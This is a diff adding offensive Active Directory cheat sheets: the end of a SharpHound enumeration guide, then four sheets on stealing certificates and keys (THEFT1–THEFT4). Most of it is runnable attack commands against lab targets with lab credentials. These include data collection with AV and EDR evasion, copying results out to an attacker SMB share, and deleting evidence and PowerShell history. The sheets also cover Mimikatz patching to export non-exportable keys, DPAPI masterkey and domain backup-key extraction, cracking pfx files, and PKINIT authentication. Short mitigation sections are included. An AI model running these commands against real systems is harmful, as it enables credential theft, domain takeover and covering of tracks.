/opt/SharpHound.exe +*Evil-WinRM* PS C:\Users\judith.mader\Documents> .\SharpHound.exe -c All +``` + +--- + +### Method 4: Base64 Encoding (Small Files) + +**On Kali Linux:** +```bash +# Encode SharpHound +base64 -w 0 SharpHound.exe > sharphound_b64.txt +``` + +**On Target Windows:** +```powershell +# Decode and save (paste base64 string) +$b64 = "TVqQAAMAAAAEAAAA..." # Your base64 string +[IO.File]::WriteAllBytes("SharpHound.exe", [Convert]::FromBase64String($b64)) +``` + +--- + +## 🚀 Basic Usage + +### Standard Execution + +```powershell +# Run all collection methods (most common) +.\SharpHound.exe --CollectionMethods All + +# Short form also works +.\SharpHound.exe -c All + +# Run with specific collection methods +.\SharpHound.exe -c Session,LoggedOn + +# Specify domain explicitly +.\SharpHound.exe -c All -d certified.htb + +# Custom output directory +.\SharpHound.exe -c All --OutputDirectory C:\Temp + +# Custom output prefix +.\SharpHound.exe -c All --OutputPrefix custom_name + +# Automatically create ZIP file (recommended) +.\SharpHound.exe -c All --ZipFileName output.zip +``` + +--- + +## 🎯 Collection Methods + +| Method | Description | Usage | +|--------|-------------|-------| +| **All** | Runs all collection methods except LoggedOn | `-c All` | +| **Default** | Group, LocalAdmin, Session, Trusts | `-c Default` | +| **DCOnly** | LDAP-only, no computer queries | `-c DCOnly` | +| **Group** | Group memberships | `-c Group` | +| **LocalAdmin** | Local admin rights | `-c LocalAdmin` | +| **Session** | Active sessions | `-c Session` | +| **Trusts** | Domain trusts | `-c Trusts` | +| **ACL** | Object permissions | `-c ACL` | +| **Container** | OU structure | `-c Container` | +| **GPOLocalGroup** | GPO-enforced groups | `-c GPOLocalGroup` | +| **SPNTargets** | Service Principal Names | `-c SPNTargets` | +| **LoggedOn** | Logged on users (privileged) | `-c LoggedOn` | +| **ObjectProps** | Object properties | `-c ObjectProps` | +| **RDP** | RDP access rights | `-c RDP` | +| **DCOM** | DCOM access rights | `-c DCOM` | +| **PSRemote** | PSRemote access | `-c PSRemote` | +| **CARegistry** | AD CS registry keys | `-c CARegistry` | +| **DCRegistry** | DC registry data | `-c DCRegistry` | + +### Combining Methods + +```powershell +# Multiple methods +.\SharpHound.exe -c Group,Session,Trusts + +# Comprehensive collection +.\SharpHound.exe -c All + +# LDAP-only (stealth, no computer connections) +.\SharpHound.exe -c DCOnly +``` + +--- + +## ⚙️ Advanced Options + +### Domain Controller Specification + +```powershell +# Specify domain controller by IP +.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 + +# Specify by hostname +.\SharpHound.exe -c All -d certified.htb --DomainController DC01.certified.htb + +# Multiple domains +.\SharpHound.exe -c All -d certified.htb,external.local +``` + +### Authentication Options + +```powershell +# Use LDAP credentials (alternate to current user context) +.\SharpHound.exe -c All --LdapUsername judith.mader --LdapPassword judith09 + +# Run with different user context using runas +runas /user:certified.htb\judith.mader /netonly cmd +# Then run SharpHound from that context +.\SharpHound.exe -c All -d certified.htb + +# Override username for NetSessionEnum +.\SharpHound.exe -c Session --OverrideUserName judith.mader +``` + +### Performance & Stealth + +```powershell +# Stealth mode (slower, LDAP-focused, removes noisy methods) +.\SharpHound.exe -c All --Stealth + +# Throttle requests (milliseconds between requests) +.\SharpHound.exe -c All --Throttle 1000 + +# Jitter (randomize delay, percentage) +.\SharpHound.exe -c All --Jitter 20 + +# Skip port scan (don't check if 445 is open) +.\SharpHound.exe -c All --SkipPortCheck + +# No save cache +.\SharpHound.exe -c All --NoSaveCache + +# Disable certificate verification (LDAPS) +.\SharpHound.exe -c All --DisableCertVerification + +# Disable Kerberos signing/sealing (not recommended) +.\SharpHound.exe -c All --DisableSigning +``` + +### LDAP Options + +```powershell +# Specify LDAP port (default 389) +.\SharpHound.exe -c All --LdapPort 389 + +# Use secure LDAP (port 636) +.\SharpHound.exe -c All --SecureLDAP + +# Combine LDAPS with specific port +.\SharpHound.exe -c All --LdapPort 636 --SecureLDAP + +# Use Global Catalog port +.\SharpHound.exe -c All --LdapPort 3268 +``` + +### Loop Collection + +```powershell +# Loop collection (great for session gathering) +# Loops for 2 hours, creating a ZIP file after each iteration +.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 + +# Loop with interval between iterations +# Runs for 3 hours, waits 10 minutes between each collection +.\SharpHound.exe -c Session --Loop --Loopduration 03:00:00 --LoopInterval 00:10:00 +``` + +### Exclusions & Filters + +```powershell +# Exclude domain controllers from enumeration +.\SharpHound.exe -c All --ExcludeDCs + +# Skip registry-based enumeration +.\SharpHound.exe -c All --SkipRegistryLoggedOn + +# Use specific computer list file +.\SharpHound.exe -c All --ComputerFile C:\computers.txt + +# LDAP filter for computers +.\SharpHound.exe -c All --LdapFilter "(operatingSystem=*Server*)" +``` + +### Output Options + +```powershell +# Prettify JSON output (larger files, more readable) +.\SharpHound.exe -c All --PrettyPrint + +# Track computer connection status to CSV +.\SharpHound.exe -c All --TrackComputerCalls + +# Random file names for output +.\SharpHound.exe -c All --RandomFilenames +``` + +--- + +## 🐍 BloodHound Python Equivalent + +### Your Original Command + +```bash +sudo bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip +``` + +### SharpHound Equivalent + +**Option 1: Direct Execution (Already authenticated as judith.mader)** + +```powershell +# If you're already authenticated as judith.mader on Windows +.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 --ZipFileName certified_bloodhound.zip +``` + +**Option 2: Using LDAP Credentials** + +```powershell +# Use alternate credentials via LDAP authentication +.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 --LdapUsername judith.mader --LdapPassword judith09 +``` + +**Option 3: Using RunAs with Network Credentials** + +```powershell +# Run cmd with network credentials +runas /user:certified.htb\judith.mader /netonly cmd + +# In the new cmd window +.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 +``` + +**Option 4: Using evil-winrm** + +```bash +# From Kali, connect via WinRM +evil-winrm -i 10.10.11.41 -u judith.mader -p judith09 + +# Upload and run SharpHound +upload /path/to/SharpHound.exe +.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 +``` + +**Option 5: Using Impacket's psexec/wmiexec** + +```bash +# Execute SharpHound remotely +impacket-wmiexec certified.htb/judith.mader:judith09@10.10.11.41 "C:\Temp\SharpHound.exe -c All" +``` + +### Parameter Mapping + +| bloodhound-python | SharpHound.exe | Description | +|-------------------|----------------|-------------| +| `-c all` | `-c All` or `--CollectionMethods All` | Collection method | +| `-u judith.mader` | `--LdapUsername judith.mader` | Username (or use current context) | +| `-p judith09` | `--LdapPassword judith09` | Password (or use current context) | +| `-d certified.htb` | `-d certified.htb` or `--Domain certified.htb` | Domain | +| `-ns 10.10.11.41` | `--DomainController 10.10.11.41` | Domain controller | +| `--zip` | `--ZipFileName output.zip` | ZIP output (default behavior) | + +--- + +## 📥 Download Results + +### Method 1: SMB Server (Retrieve Files) + +```powershell +# On Windows, copy results back +copy 20241127*.zip \\10.10.14.5\share\ +``` + +### Method 2: Evil-WinRM Download + +```powershell +# In evil-winrm session +download C:\Path\To\20241127_BloodHound.zip +``` + +### Method 3: Base64 Encoding (Small ZIP files) + +**On Windows:** +```powershell +# Encode the ZIP file +$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("20241127_BloodHound.zip")) +$b64 | Out-File -Encoding ASCII bloodhound_b64.txt +``` + +**On Kali:** +```bash +# Copy the base64 string and decode +base64 -d bloodhound_b64.txt > bloodhound_data.zip +``` + +### Method 4: Python Web Server Upload + +**On Windows (with Python):** +```powershell +# Start simple HTTP server +python -m http.server 8080 + +# Then download from Kali +wget http://10.10.11.41:8080/20241127_BloodHound.zip +``` + +--- + +## 🔥 Common Usage Scenarios + +### Scenario 1: Quick Full Enumeration + +```powershell +# Complete enumeration with ZIP output +.\SharpHound.exe -c All -d certified.htb --ZipFileName certified_full.zip +``` + +### Scenario 2: Session Hunting + +```powershell +# Loop session collection for 2 hours, checking every 10 minutes +.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00 +``` + +### Scenario 3: Stealth Enumeration + +```powershell +# Stealth mode (LDAP-focused, removes noisy methods like LoggedOn) +.\SharpHound.exe -c All --Stealth + +# Manual stealth (custom throttling and jitter) +.\SharpHound.exe -c Group,ACL,ObjectProps --Throttle 2000 --Jitter 25 +``` + +### Scenario 4: LDAP-Only Collection (No Computer Connections) + +```powershell +# DCOnly - only queries domain controller via LDAP +.\SharpHound.exe -c DCOnly -d certified.htb + +# Exclude DCs from computer enumeration +.\SharpHound.exe -c All --ExcludeDCs +``` + +### Scenario 5: Specific Data Only + +```powershell +# Only collect groups and trusts +.\SharpHound.exe -c Group,Trusts -d certified.htb + +# Default collection (Group, LocalAdmin, Session, Trusts) +.\SharpHound.exe -c Default +``` + +### Scenario 6: Multi-Domain Environment + +```powershell +# Enumerate trust relationships first +.\SharpHound.exe -c Trusts + +# Then enumerate specific domains +.\SharpHound.exe -c All -d certified.htb,child.certified.htb + +# Or enumerate entire forest +.\SharpHound.exe -c All --SearchForest +``` + +### Scenario 7: Using LDAPS (Secure LDAP) + +```powershell +# Use LDAPS for encrypted communication +.\SharpHound.exe -c All --SecureLDAP -d certified.htb +``` + +--- + +## 🐛 Troubleshooting + +### Common Errors + +**"Could not resolve domain"** +```powershell +# Solution: Specify domain controller explicitly +.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 +``` + +**"Access Denied"** +```powershell +# Verify credentials and permissions +whoami /all + +# Check domain connectivity +nltest /dsgetdc:certified.htb + +# Try using LDAP credentials +.\SharpHound.exe -c All --LdapUsername judith.mader --LdapPassword judith09 +``` + +**"LDAP connection failed"** +```powershell +# Try different LDAP port (Global Catalog) +.\SharpHound.exe -c All --LdapPort 3268 + +# Try plain LDAP +.\SharpHound.exe -c All --LdapPort 389 + +# Try LDAPS (secure) +.\SharpHound.exe -c All --SecureLDAP + +# Disable signing (not recommended, but may help) +.\SharpHound.exe -c All --DisableSigning +``` + +**No output file generated** +```powershell +# Specify output directory with write permissions +.\SharpHound.exe -c All --OutputDirectory C:\Temp + +# Check for actual errors in console output +# Ensure you have permissions to current directory +``` + +**"Port 445 not open" errors** +```powershell +# Skip port checks (useful in restricted environments) +.\SharpHound.exe -c All --SkipPortCheck +``` + +### Performance Issues + +```powershell +# Add throttling (wait time between requests) +.\SharpHound.exe -c All --Throttle 500 --Jitter 15 + +# Reduce to LDAP-only collection +.\SharpHound.exe -c DCOnly +``` + +### Detection/AV Issues + +```powershell +# Use stealth mode +.\SharpHound.exe -c All --Stealth + +# Run from memory (use PowerShell wrapper) +Import-Module .\SharpHound.ps1 +Invoke-BloodHound -CollectionMethod All + +# Obfuscate or recompile SharpHound from source +``` + +--- + +## 📊 Output Files + +SharpHound generates the following files: + +| File | Description | +|------|-------------| +| `YYYYMMDDHHMMSS_BloodHound.zip` | Main output (import to BloodHound) | +| `YYYYMMDDHHMMSS_computers.json` | Computer objects | +| `YYYYMMDDHHMMSS_users.json` | User objects | +| `YYYYMMDDHHMMSS_groups.json` | Group objects | +| `YYYYMMDDHHMMSS_domains.json` | Domain information | +| `YYYYMMDDHHMMSS_gpos.json` | Group Policy Objects | +| `YYYYMMDDHHMMSS_ous.json` | Organizational Units | +| `YYYYMMDDHHMMSS_containers.json` | Container objects | + +**Import to BloodHound:** +```bash +# On Kali, start BloodHound +sudo neo4j start +bloodhound + +# Upload the ZIP file through the GUI +# Or use bloodhound-python to directly upload +``` + +--- + +## 🔗 Useful Resources + +- **SharpHound GitHub (Official)**: https://github.com/SpecterOps/SharpHound +- **BloodHound CE Documentation**: https://bloodhound.specterops.io/ +- **SharpHound Flags Reference**: https://bloodhound.specterops.io/collect-data/ce-collection/sharphound-flags +- **Download SharpHound**: https://github.com/SpecterOps/SharpHound/releases +- **BloodHound GitHub**: https://github.com/SpecterOps/BloodHound +- **SpecterOps Blog**: https://posts.specterops.io/ (latest research and updates) +- **BloodHound Slack**: https://bloodhoundgang.herokuapp.com/ (community support) + +### Alternative Collectors +- **RustHound**: Rust-based collector (cross-platform, AV evasion) +- **AzureHound**: Azure AD/Entra ID collector +- **SharpHound.ps1**: PowerShell wrapper for in-memory execution + +--- + +## 💡 Pro Tips + +1. **Always create ZIP files** - Use `--ZipFileName output.zip` for easier exfiltration and import +2. **Use loop collection for sessions** - Session data changes frequently; loop for better coverage +3. **Start with Default or All collection** - Get comprehensive data first, then target specific areas +4. **Check SharpHound version compatibility** - Match SharpHound version to your BloodHound instance +5. **Use --Stealth for red teams** - Automatically removes noisy collection methods +6. **Leverage --SearchForest** - Enumerate all domains in forest automatically (requires trust) +7. **Time your collection wisely** - Run during business hours for more active sessions +8. **Use LDAPS when possible** - `--SecureLDAP` encrypts LDAP traffic +9. **Consider AV/EDR detection** - SharpHound is heavily signatured; consider obfuscation +10. **Clean up after yourself** - Delete SharpHound and output files during operations +11. **Document your collection** - Note which methods were used and when +12. **Use --LdapUsername/--LdapPassword** - When you can't use runas or current context +13. **Combine with other tools** - Use with PowerView, ADRecon, Certify for full coverage +14. **Review collection methods** - Not all methods are needed; `DCOnly` is great for stealth + +### Advanced Tips + +- **Registry-based collection** is noisy - Consider excluding with `--SkipRegistryLoggedOn` +- **Computer file lists** work great - Use `--ComputerFile` to target specific systems +- **Global Catalog port (3268)** can sometimes bypass restrictions +- **TrackComputerCalls** helps identify connectivity issues +- **RandomFilenames** can help avoid simple file-based detections + +--- + +## ⚠️ Operational Security + +```powershell +# Delete evidence after exfiltration +del SharpHound.exe +del *_BloodHound.zip +del *_computers.json +del *_users.json +# ... delete all output files + +# Clear PowerShell history +Clear-History +Remove-Item (Get-PSReadlineOption).HistorySavePath + +# Check for running processes +Get-Process | Where-Object {$_.ProcessName -like "*sharp*"} +``` + +--- + +**Created by NetRunner | For Ethical Hacking & Penetration Testing** 🎓🔐 + + + +## SharpHound.ps1 +```powershell +# After uploading SharpHound.ps1: +Import-Module .\SharpHound.ps1 +Invoke-BloodHound -CollectionMethod All -Domain htb.local -DomainController 10.129.15.16 -LDAPUser svc-alfresco -LDAPPass s3rvice +``` diff --git a/src/content/sheets/active-directory/theft1-exporting-certificates-and-keys.md b/src/content/sheets/active-directory/theft1-exporting-certificates-and-keys.md @@ -0,0 +1,124 @@ +--- +title: "THEFT1 — Exporting Certificates and Keys" +description: "THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are already enrolled on a machine you control, rather…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Mimikatz", "Certipy", "faketime", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT1 — Exporting Certificates and Keys.md" +--- +# THEFT1 — Exporting Certificates and Keys + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Credential Theft (local) | +| **Difficulty** | Low | +| **Pre-requisites** | Code execution as the cert's owner (or SYSTEM); a certificate with a usable private key in a Windows store | +| **Tools** | Certipy, Mimikatz, SharpDPAPI, certutil | +| **OPSEC Noise** | Low–Med — local API calls; Mimikatz key-patching touches LSASS/CryptoAPI | +| **One-liner** | Pull a certificate **and its private key** out of a compromised host's certificate store, exporting to a `.pfx` you can authenticate with anywhere. | + +*** + +## What Is THEFT1? + +THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are **already enrolled** on a machine you control, rather than requesting new ones. If a user or machine has an authentication certificate in their Windows store, that `.pfx` is a password-equivalent — export it and authenticate as them from your own box. + +The only wrinkle is the **exportable** flag. When a key is marked non-exportable, the standard export APIs refuse. Mimikatz can patch the CryptoAPI (CAPI) and CNG providers in memory to lie about that flag, making non-exportable keys exportable. + +*** + +## Step 0 — Enumerate Local Certificates + +```powershell +# PowerShell — list certs in the current user's personal store with private keys +Get-ChildItem Cert:\CurrentUser\My | Where-Object { $_.HasPrivateKey } | + Format-List Subject, Issuer, Thumbprint, NotAfter, @{n='EKU';e={$_.EnhancedKeyUsageList}} + +# Machine store (needs admin) +Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.HasPrivateKey } + +# certutil equivalent +certutil -store My +certutil -user -store My +``` + +Look for certs with **Client Authentication (1.3.6.1.5.5.7.3.2)**, **Smart Card Logon**, **PKINIT**, or **Any Purpose** EKUs — those authenticate to AD. + +*** + +## Step 1 — Export (Exportable Keys) + +```powershell +# PowerShell — export to PFX with a password +$pw = ConvertTo-SecureString "Export123!" -AsPlainText -Force +Export-PfxCertificate -Cert Cert:\CurrentUser\My\<THUMBPRINT> -FilePath C:\Temp\stolen.pfx -Password $pw +``` + +```powershell +# Mimikatz — export every cert + key from both stores (writes .pfx files to cwd) +mimikatz # crypto::certificates /export +mimikatz # crypto::certificates /systemstore:local_machine /export +``` + +*** + +## Step 2 — Export (Non-Exportable Keys) + +If the key is flagged non-exportable, patch the providers first, then export. + +```powershell +mimikatz # privilege::debug +mimikatz # crypto::capi # patch CAPI in this process +mimikatz # crypto::cng # patch KeyIso (CNG) — needs SYSTEM +mimikatz # crypto::certificates /export # now succeeds on non-exportable keys +``` + +```powershell +# SharpDPAPI alternative — pulls certs and decrypts keys via DPAPI, ignores the flag +SharpDPAPI.exe certificates /mkfile:masterkeys.txt +``` + +*** + +## Step 3 — Convert & Authenticate + +```bash +# Bring the .pfx to your attack host. Strip/normalise the password if needed: +certipy-ad cert -export -pfx stolen.pfx -password 'Export123!' -out clean.pfx + +# Authenticate the stolen identity (PKINIT -> TGT + NT hash) +certipy-ad auth -pfx clean.pfx -dc-ip $TARGET +``` + +> [!tip] Clock skew +> If `certipy auth` returns `KRB_AP_ERR_SKEW`, wrap it with faketime. See faketime-cheatsheet. + +*** + +## OPSEC Considerations + +| Action | Log / Artefact | Noise | +| :-- | :-- | :-- | +| `Get-ChildItem Cert:` / certutil enum | none by default | 🟢 Low | +| `Export-PfxCertificate` | CAPI2 operational log 70/90 (if enabled) | 🟢 Low | +| Mimikatz `crypto::cng` | LSASS access, patches KeyIso | 🔴 High (EDR-sensitive) | + +*** + +## Mitigation + +- Mark private keys **non-exportable** and back them with a **TPM** or **HSM** where possible. +- Restrict local admin / block LSASS access (Credential Guard, ASR rules) to stop provider patching. +- Prefer short-lived certificates so a stolen `.pfx` has a small window. +- Monitor for Mimikatz `crypto::*` behaviour and unexpected `.pfx` creation. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT2 — User Certificate Theft via DPAPI · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) +- Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki — Post-Exploitation](https://github.com/ly4k/Certipy/wiki/07-%E2%80%90-Post%E2%80%90Exploitation) diff --git a/src/content/sheets/active-directory/theft2-user-certificate-theft-via-dpapi.md b/src/content/sheets/active-directory/theft2-user-certificate-theft-via-dpapi.md @@ -0,0 +1,111 @@ +--- +title: "THEFT2 — User Certificate Theft via DPAPI" +description: "Windows protects user certificate private keys with DPAPI (Data Protection API). The encrypted key blobs live on disk; decrypting them normally requires…" +category: active-directory +tags: ["active-directory", "adcs", "hashing"] +tools: ["Mimikatz", "Certipy", "OpenSSL", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT2 — User Certificate Theft via DPAPI.md" +--- +# THEFT2 — User Certificate Theft via DPAPI + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Credential Theft (local, DPAPI) | +| **Difficulty** | Medium | +| **Pre-requisites** | Access as the user (or their password/hash, or the domain DPAPI backup key) | +| **Tools** | SharpDPAPI, Mimikatz, Certipy, DonPAPI | +| **OPSEC Noise** | Low — file reads + offline decryption | +| **One-liner** | Decrypt a user's certificate private keys straight from the DPAPI-protected files on disk, without going through the certificate-store export APIs. | + +*** + +## What Is THEFT2? + +Windows protects user certificate private keys with **DPAPI** (Data Protection API). The encrypted key blobs live on disk; decrypting them normally requires the user's logon secret. If you can read those files **and** obtain the DPAPI masterkey (via the user's password/NT hash, an existing logon session, or the domain's DPAPI backup key), you recover the private key offline, even when THEFT1's export APIs are blocked. + +**Key locations (per user):** + +``` +Private keys : %APPDATA%\Microsoft\Crypto\RSA\<SID>\ + %APPDATA%\Microsoft\Crypto\Keys\ (CNG) +Masterkeys : %APPDATA%\Microsoft\Protect\<SID>\ +Certificates : %APPDATA%\Microsoft\SystemCertificates\My\Certificates\ +``` + +*** + +## Step 1 — Decrypt the Masterkey + +```powershell +# From a live session as the user (Mimikatz auto-uses the logon secret) +mimikatz # dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<GUID>" /rpc + +# With the user's password or NT hash (offline) +mimikatz # dpapi::masterkey /in:<masterkeyfile> /sid:<SID> /password:Passw0rd! +mimikatz # dpapi::masterkey /in:<masterkeyfile> /sid:<SID> /hash:<NTHASH> +``` + +> [!tip] Domain DPAPI backup key = master skeleton +> If you are Domain Admin, extract the domain DPAPI backup key once (`lsadump::backupkeys /system:DC01 /export`) and decrypt **any** user's masterkeys forever: `dpapi::masterkey /in:<mk> /pvk:backupkey.pvk`. + +*** + +## Step 2 — Decrypt the Private Key + Rebuild the PFX + +```powershell +# One-shot: SharpDPAPI finds certs, decrypts masterkeys, outputs .pem/.pfx +SharpDPAPI.exe certificates /mkfile:masterkeys.txt # provide decrypted masterkeys +SharpDPAPI.exe certificates /pvk:backupkey.pvk # or the domain backup key +``` + +```powershell +# Mimikatz manual path +mimikatz # dpapi::capi /in:"%APPDATA%\Microsoft\Crypto\RSA\<SID>\<keyfile>" +# combine the recovered key with the public cert into a pfx with openssl +``` + +```bash +# openssl: stitch the decrypted key + cert into a usable pfx +openssl pkcs12 -export -inkey stolen.key -in stolen.crt -out stolen.pfx +``` + +*** + +## Step 3 — Authenticate + +```bash +certipy-ad auth -pfx stolen.pfx -dc-ip $TARGET # PKINIT -> TGT + NT hash +``` + +> [!tip] DonPAPI / Certipy remote +> `DonPAPI` automates remote DPAPI cert looting across many hosts. Handy when sweeping a subnet after gaining a domain foothold. + +*** + +## OPSEC Considerations + +| Action | Artefact | Noise | +| :-- | :-- | :-- | +| Reading Crypto/Protect files | file access events (if audited) | 🟢 Low | +| Offline masterkey decryption | none (off-host) | 🟢 Low | +| `lsadump::backupkeys` on DC | LSASS access on DC | 🔴 High | + +*** + +## Mitigation + +- Protect keys with TPM/HSM so DPAPI blobs alone are useless. +- Rotate the **domain DPAPI backup key** if DA compromise is suspected (non-trivial). +- Limit lateral movement so attackers cannot read other users' profiles. +- Monitor DC access to `lsadump::backupkeys` behaviour and mass profile reads. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · THEFT3 — Machine Certificate Theft via DPAPI +- Sources: SpecterOps *Certified Pre-Owned*; [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) diff --git a/src/content/sheets/active-directory/theft3-machine-certificate-theft-via-dpapi.md b/src/content/sheets/active-directory/theft3-machine-certificate-theft-via-dpapi.md @@ -0,0 +1,100 @@ +--- +title: "THEFT3 — Machine Certificate Theft via DPAPI" +description: "Identical concept to THEFT2 — User Certificate Theft via DPAPI but for machine certificates. These are protected by the machine DPAPI masterkey, which is…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "credential-access", "privilege-escalation"] +tools: ["Mimikatz", "Certipy", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT3 — Machine Certificate Theft via DPAPI.md" +--- +# THEFT3 — Machine Certificate Theft via DPAPI + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Credential Theft (local, machine DPAPI) | +| **Difficulty** | Medium | +| **Pre-requisites** | **SYSTEM** (or local admin) on the target host | +| **Tools** | SharpDPAPI, Mimikatz, Certipy | +| **OPSEC Noise** | Medium — requires SYSTEM, reads machine masterkeys | +| **One-liner** | As SYSTEM, decrypt the **machine's** certificate private keys using the machine DPAPI masterkey, yielding a computer-account cert you can authenticate with. | + +*** + +## What Is THEFT3? + +Identical concept to THEFT2 — User Certificate Theft via DPAPI but for **machine** certificates. These are protected by the **machine DPAPI masterkey**, which is itself protected by the `DPAPI_SYSTEM` LSA secret — so you need SYSTEM, not just a user session. A stolen machine cert lets you authenticate as `HOST$`, which is powerful: computer accounts can be Kerberoast/RBCD targets, and a DC's own cert enables DCSync-level access. + +**Key locations (machine):** + +``` +Private keys : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ + C:\ProgramData\Microsoft\Crypto\Keys\ (CNG) +Masterkeys : C:\ProgramData\Microsoft\Protect\S-1-5-18\ +Certificates : C:\ProgramData\Microsoft\SystemCertificates\My\ +``` + +*** + +## Step 1 — Become SYSTEM & Grab the Machine Masterkey + +```powershell +mimikatz # privilege::debug +mimikatz # token::elevate # to SYSTEM +mimikatz # lsadump::secrets # reveals DPAPI_SYSTEM secret +mimikatz # dpapi::masterkey /in:"C:\ProgramData\Microsoft\Protect\S-1-5-18\<GUID>" /system +``` + +*** + +## Step 2 — Export Machine Certificates + +```powershell +# SharpDPAPI — /machine flag targets the SYSTEM store & machine masterkeys +SharpDPAPI.exe certificates /machine + +# Mimikatz — export from local machine store (patch providers if non-exportable) +mimikatz # crypto::certificates /systemstore:local_machine /export +mimikatz # crypto::cng +mimikatz # crypto::certificates /systemstore:local_machine /export +``` + +*** + +## Step 3 — Authenticate as the Machine Account + +```bash +certipy-ad cert -export -pfx machine.pfx -password '' -out clean.pfx +certipy-ad auth -pfx clean.pfx -dc-ip $TARGET +# -> HOST$ TGT + machine NT hash +``` + +> [!warning] Stealing a DC's certificate = domain compromise +> If the host is a Domain Controller, its machine cert authenticates as `DC01$`, which has replication rights. From that TGT you can DCSync `krbtgt` and forge a Golden Ticket. Treat DC cert theft as full domain takeover. + +*** + +## OPSEC Considerations + +| Action | Artefact | Noise | +| :-- | :-- | :-- | +| `token::elevate` / `lsadump::secrets` | LSASS access, SYSTEM token | 🟡 Medium | +| Reading MachineKeys | file access (if audited) | 🟢 Low | +| `crypto::cng` provider patch | KeyIso tamper | 🔴 High | + +*** + +## Mitigation + +- Back machine keys with a **TPM** (default for modern Windows) so the raw DPAPI blob is insufficient. +- Restrict local admin/SYSTEM; deploy Credential Guard and LSASS protection. +- Tier your DCs and treat any DC SYSTEM access as a domain-wide incident. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT2 — User Certificate Theft via DPAPI · PERSIST2 — Machine Account Persistence via Certificates +- Sources: SpecterOps *Certified Pre-Owned*; [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) diff --git a/src/content/sheets/active-directory/theft4-finding-certificate-files.md b/src/content/sheets/active-directory/theft4-finding-certificate-files.md @@ -0,0 +1,111 @@ +--- +title: "THEFT4 — Finding Certificate Files" +description: "No cryptography needed here. Admins and automation constantly leave certificate material lying around: exported .pfx backups, id_rsa-style key files…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["NetExec", "Certipy", "John", "Snaffler", "OpenSSL"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT4 — Finding Certificate Files.md" +--- +# THEFT4 — Finding Certificate Files + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Credential Theft (file hunting) | +| **Difficulty** | Low | +| **Pre-requisites** | Read access to a filesystem / share | +| **Tools** | Seatbelt, PowerShell, findstr, Snaffler, Certify | +| **OPSEC Noise** | Low — read-only file discovery | +| **One-liner** | Hunt loose certificate and key files (`.pfx .p12 .pem .key`) left on disk, shares, and in config/unattend files, then authenticate with any that carry an auth EKU. | + +*** + +## What Is THEFT4? + +No cryptography needed here. Admins and automation constantly leave certificate material lying around: exported `.pfx` backups, `id_rsa`-style key files, `unattend.xml`/`sysprep` blobs, IIS bindings, web-app config, and network-share dumps. THEFT4 is systematic file hunting for these artefacts. + +*** + +## Step 1 — Hunt Locally + +```powershell +# PowerShell — recursive search for common cert/key extensions +Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue ` + -Include *.pfx,*.p12,*.pem,*.key,*.crt,*.cer,*.p7b,*.pkcs12,*.jks,*.keystore 2>$null | + Select-Object FullName, Length, LastWriteTime +``` + +```cmd +:: cmd / findstr sweep +dir C:\ /s /b | findstr /i "\.pfx \.p12 \.pem \.key \.crt \.cer" + +:: Credentials frequently embedded here +findstr /s /i "password" C:\*.xml C:\*.config 2>nul +type C:\Windows\Panther\unattend.xml +``` + +```powershell +# Seatbelt — dedicated modules +Seatbelt.exe Certificates +Seatbelt.exe InterestingFiles + +# Certify — find cert files +Certify.exe find /files +``` + +*** + +## Step 2 — Hunt Shares + +```bash +# Snaffler (from a Windows foothold) — classifies findings, flags cert/key files +Snaffler.exe -s -o snaffler.log + +# From Linux — spider readable shares with netexec, then grep +netexec smb $TARGET -u user -p pass -M spider_plus +``` + +*** + +## Step 3 — Triage & Authenticate + +```bash +# Inspect what an unknown pfx contains (identity, EKU, expiry) +certipy-ad cert -pfx found.pfx -password '' -nokey -out /dev/stdout # peek +openssl pkcs12 -info -in found.pfx -nodes # or openssl + +# If it has Client Auth / PKINIT EKU and a private key -> authenticate +certipy-ad auth -pfx found.pfx -dc-ip $TARGET +``` + +> [!tip] Password-protected pfx? +> Crack it with John: `pfx2john found.pfx > pfx.hash && john --wordlist=rockyou.txt pfx.hash`. See john-cheatsheet (`--format=pfx`). + +*** + +## OPSEC Considerations + +| Action | Artefact | Noise | +| :-- | :-- | :-- | +| Recursive `Get-ChildItem` | high disk I/O, possible EDR heuristic | 🟡 Medium | +| Share spidering | SMB access logs on file servers | 🟡 Medium | +| Reading a file | file-audit events (if enabled) | 🟢 Low | + +*** + +## Mitigation + +- Never store `.pfx`/private keys on shares or in config/unattend files; use a secrets vault. +- Scan the estate for stray key 